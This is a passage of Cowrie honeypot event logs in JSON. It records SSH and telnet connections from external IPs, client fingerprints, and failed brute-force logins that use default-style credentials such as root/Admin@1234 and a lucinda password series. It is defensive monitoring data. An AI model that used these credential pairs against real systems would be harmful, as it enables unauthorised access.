sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:32.144602Z","src_ip":"103.15.226.202","session":"110660a7a693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:32.874482Z","src_ip":"103.15.226.202","session":"110660a7a693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:34.133178Z","src_ip":"103.15.226.202","session":"110660a7a693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.255006551742554,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:38.063746Z","src_ip":"103.43.76.8","session":"4fa2a0e84721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.71.148.78","src_port":44401,"dst_ip":"159.203.135.109","dst_port":23,"session":"84058852224a","protocol":"telnet","message":"New connection: 218.71.148.78:44401 (159.203.135.109:23) [session: 84058852224a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:45.340750Z"}
{"eventid":"cowrie.session.closed","duration":13.204943418502808,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:47:58.545564Z","src_ip":"218.71.148.78","session":"84058852224a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.65099620819092,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:48:29.353833Z","src_ip":"212.55.149.117","session":"49927b1fd800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57238,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f499f74eb2","protocol":"telnet","message":"New connection: 212.55.149.117:57238 (10.17.0.5:23) [session: 71f499f74eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:48:47.271803Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17760,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a8276c93c0","protocol":"telnet","message":"New connection: 212.55.149.117:17760 (10.17.0.5:23) [session: 01a8276c93c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:10.602137Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51052,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7ae6df5940","protocol":"ssh","message":"New connection: 2.57.122.238:51052 (10.17.0.5:22) [session: dc7ae6df5940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:18.866764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:18.876109Z","src_ip":"2.57.122.238","session":"dc7ae6df5940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:18.982187Z","src_ip":"2.57.122.238","session":"dc7ae6df5940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:19.299598Z","src_ip":"2.57.122.238","session":"dc7ae6df5940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:20.407987Z","src_ip":"2.57.122.238","session":"dc7ae6df5940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":50875,"dst_ip":"10.17.0.5","dst_port":22,"session":"4210fcc2b64e","protocol":"ssh","message":"New connection: 154.117.199.5:50875 (10.17.0.5:22) [session: 4210fcc2b64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:46.646169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:46.878218Z","src_ip":"154.117.199.5","session":"4210fcc2b64e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:49:47.110630Z","src_ip":"154.117.199.5","session":"4210fcc2b64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62148,"dst_ip":"10.17.0.5","dst_port":22,"session":"952892142b50","protocol":"ssh","message":"New connection: 213.209.159.56:62148 (10.17.0.5:22) [session: 952892142b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:06.372495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:06.377076Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:06.469773Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda","message":"login attempt [lucinda/lucinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:06.958743Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda1","message":"login attempt [lucinda/lucinda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:08.045749Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda123","message":"login attempt [lucinda/lucinda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:09.132050Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda1234","message":"login attempt [lucinda/lucinda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:10.221651Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda12345","message":"login attempt [lucinda/lucinda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:11.307579Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.44814467430115,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:12.050144Z","src_ip":"212.55.149.117","session":"01a8276c93c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:12.393842Z","src_ip":"213.209.159.56","session":"952892142b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.220.233","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"45ded51bdbd6","protocol":"telnet","message":"New connection: 186.64.220.233:56572 (10.17.0.5:23) [session: 45ded51bdbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:42.378470Z"}
{"eventid":"cowrie.session.closed","duration":120.00617718696594,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:47.277840Z","src_ip":"212.55.149.117","session":"71f499f74eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.984534978866577,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:50:55.362881Z","src_ip":"186.64.220.233","session":"45ded51bdbd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44980,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a969d7578da","protocol":"ssh","message":"New connection: 103.15.226.202:44980 (10.17.0.5:22) [session: 1a969d7578da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:08.069020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:08.076514Z","src_ip":"103.15.226.202","session":"1a969d7578da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:08.307994Z","src_ip":"103.15.226.202","session":"1a969d7578da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@1234","message":"login attempt [root/Admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:09.251712Z","src_ip":"103.15.226.202","session":"1a969d7578da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:10.494737Z","src_ip":"103.15.226.202","session":"1a969d7578da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":59034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f590ace420c5","protocol":"ssh","message":"New connection: 89.38.96.216:59034 (10.17.0.5:22) [session: f590ace420c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:19.494749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:19.499313Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:19.586385Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:4a:cf:58:d4:d8:7e:0c:f3:51:2d:a5:e0:03:52:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9INbN4vZ0m9qLggFPZLzYsIFPZNePqgmUUZQGr3YXXakvpt3vnwr190iwSZcsrIrogmEeyZmf50/EY9viwUdVKmhTkG9b85tKNr25kjIlGMdmdWLgU0prxWLnNjc15/E1LrRyNph02LihheXduPYCsPouzVqLof/w7ykiAOISdcSRfrcdz2PUNWede6Y+DqH5x8o+6phtfa8X6Skcd7cxNbQRgPah31DxnXTKomOwXqS+0K5yyvIii8wIMDyHSQ2816odWwcSY0N5GRjHwUB/OE7O7IqbnO/Q4mDw+5dMQI4Tho4nbs0dGYwfmgSQJHp1wMgD896Wkbmk+1O4TJ2d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:4a:cf:58:d4:d8:7e:0c:f3:51:2d:a5:e0:03:52:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.002451Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:4a:cf:58:d4:d8:7e:0c:f3:51:2d:a5:e0:03:52:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9INbN4vZ0m9qLggFPZLzYsIFPZNePqgmUUZQGr3YXXakvpt3vnwr190iwSZcsrIrogmEeyZmf50/EY9viwUdVKmhTkG9b85tKNr25kjIlGMdmdWLgU0prxWLnNjc15/E1LrRyNph02LihheXduPYCsPouzVqLof/w7ykiAOISdcSRfrcdz2PUNWede6Y+DqH5x8o+6phtfa8X6Skcd7cxNbQRgPah31DxnXTKomOwXqS+0K5yyvIii8wIMDyHSQ2816odWwcSY0N5GRjHwUB/OE7O7IqbnO/Q4mDw+5dMQI4Tho4nbs0dGYwfmgSQJHp1wMgD896Wkbmk+1O4TJ2d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.006549Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:91:4e:4d:e5:e3:7b:e7:60:c5:b7:e4:68:cf:8b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2f7Bujxbuae3ZO26S0DzFgF3VHhNH0iCEpLRENiG+qlzLjLuSiEE0df+dXZ55/joT5IqcD4yuCB4JA3Wkzsa8OY9v9q6eJAm0dzu4UsX+IHMsh3ZOYKLtQJBbSWZLrIxQFcIm8Mu/OhoEySXOW8wxSwyYGvQOnksTMivkFoxkXPzoLaGwxcKXwNfJF3GzpJ00InBnFGaF3Ac3Xa2SgJ5SR5GYXO6/M541U1mUxs5d7QetTxVQnUxwG3Uzhpc6Dy+vZ1U+CSwJ/bjMGW39vTk4xmw69IRcqFUECowrr9calRfmYG7meGWBHGcb4ktPU1wVBgnLlfaxCzOu2nc1PWf1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:91:4e:4d:e5:e3:7b:e7:60:c5:b7:e4:68:cf:8b:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.100533Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:91:4e:4d:e5:e3:7b:e7:60:c5:b7:e4:68:cf:8b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2f7Bujxbuae3ZO26S0DzFgF3VHhNH0iCEpLRENiG+qlzLjLuSiEE0df+dXZ55/joT5IqcD4yuCB4JA3Wkzsa8OY9v9q6eJAm0dzu4UsX+IHMsh3ZOYKLtQJBbSWZLrIxQFcIm8Mu/OhoEySXOW8wxSwyYGvQOnksTMivkFoxkXPzoLaGwxcKXwNfJF3GzpJ00InBnFGaF3Ac3Xa2SgJ5SR5GYXO6/M541U1mUxs5d7QetTxVQnUxwG3Uzhpc6Dy+vZ1U+CSwJ/bjMGW39vTk4xmw69IRcqFUECowrr9calRfmYG7meGWBHGcb4ktPU1wVBgnLlfaxCzOu2nc1PWf1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.104568Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:3f:5b:86:fa:6f:8d:ed:41:95:1c:0a:23:e0:63:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ivMNPuD2MSCsjH7zYABadvPq7i22vf+kg7pkxTrof2HsAjSE6irsyz97GDG9dQiN7xxNFMEKEkonKZbk8MORAxeQmeegfZyrKil0ArEmSP2gIFhfyuSM6cqdOYvUCEbRup+I7Ku3ys9JXquYx7543H86WOblZr+EhTDmJ5Huxfn3KpiCL0fzLjFK/CgM/QJ+kqXa7BuQtNb1JNGtUgRLvmNmS4fwVNl0AipECRn42Hq9vVVzjsqciXETih0I7nup5c789Dwkslt28L6FdJLMIQvME95wFEYSfzHpye1xagYokCpSViI6UHwXo/rUml8U64g6b49GP63eYl4xvv8f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:3f:5b:86:fa:6f:8d:ed:41:95:1c:0a:23:e0:63:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.193037Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:3f:5b:86:fa:6f:8d:ed:41:95:1c:0a:23:e0:63:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ivMNPuD2MSCsjH7zYABadvPq7i22vf+kg7pkxTrof2HsAjSE6irsyz97GDG9dQiN7xxNFMEKEkonKZbk8MORAxeQmeegfZyrKil0ArEmSP2gIFhfyuSM6cqdOYvUCEbRup+I7Ku3ys9JXquYx7543H86WOblZr+EhTDmJ5Huxfn3KpiCL0fzLjFK/CgM/QJ+kqXa7BuQtNb1JNGtUgRLvmNmS4fwVNl0AipECRn42Hq9vVVzjsqciXETih0I7nup5c789Dwkslt28L6FdJLMIQvME95wFEYSfzHpye1xagYokCpSViI6UHwXo/rUml8U64g6b49GP63eYl4xvv8f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.197453Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:e4:d9:e6:0e:9f:07:df:42:9b:b3:10:8c:3b:de:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD59EVsLTRA8hBgmkGNeVp2XMtpEQVtiVal9TwXIAIorqgTVG1sVrI1xOdzY8iub3zeFrmhGjaeMiEq9U735Sndg346BfUM56ejJkGxiCvYY9yOvqmBMMoPdA2vWPBjrMlLHBbP+oM4+lFWEYfb+IOPMTOGr1z+Hshm/zdxXeOAwu0sex01WK81kLIyV/U3wzw2LJbKjT5Ur+W1VCWf4OU3T5YUmqZa/4zXSV88QQMk7T7jXjZ4Q0LJ56OLXvA6ebXNdybOjmFqcxs6WVhQdei0rGpsOSoJhsc6ns7rEof/5yICfEL1eozRbqakYvDNm2rrz9dbBhiOkgnAgTt7w7L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:e4:d9:e6:0e:9f:07:df:42:9b:b3:10:8c:3b:de:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:20.286590Z","src_ip":"89.38.96.216","session":"f590ace420c5","protocol":"ssh"}
